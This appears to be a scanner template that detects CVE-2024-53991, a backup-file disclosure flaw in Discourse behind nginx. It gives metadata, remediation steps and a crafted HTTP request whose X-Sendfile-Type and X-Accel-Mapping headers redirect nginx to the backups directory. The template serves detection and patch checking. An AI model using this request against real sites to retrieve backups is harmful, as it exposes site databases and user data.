CVE-2024-53991: Discourse Backup File Disclosure Via Default Nginx Configuration

id: CVE-2024-53991

info:
  name: Discourse Backup File Disclosure Via Default Nginx Configuration
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
  remediation: |
    This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or  2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.
  reference:
    - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
    - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-53991
    cwe-id: CWE-200
    epss-score: 0.2845
    epss-percentile: 0.96366
  metadata:
    shodan-query: http.component:"Discourse"
  tags: cve,cve2024,discourse,disclosure

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: styles
        group: 1
        regex:
          - 'href="(/stylesheets/discourse-.*?)"'
        internal: true

  - raw:
      - |
        GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
        Host: {{Hostname}}
        X-Sendfile-Type: X-Accel-Redirect
        X-Accel-Mapping: .*=/downloads/backups/default/

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(content_type, "text/html")'
          - 'contains(response, "discourse")'
        condition: and
# digest: 490a0046304402202fec59de4e46341b21eecae4fccd4fdd8e36942ad7b708e7effdfda6414f93550220691fc4932e73ee8e879696dfe47a621bdeec684b5a525933903224c6989e7546:922c64590222798bb761d5b6d8e72950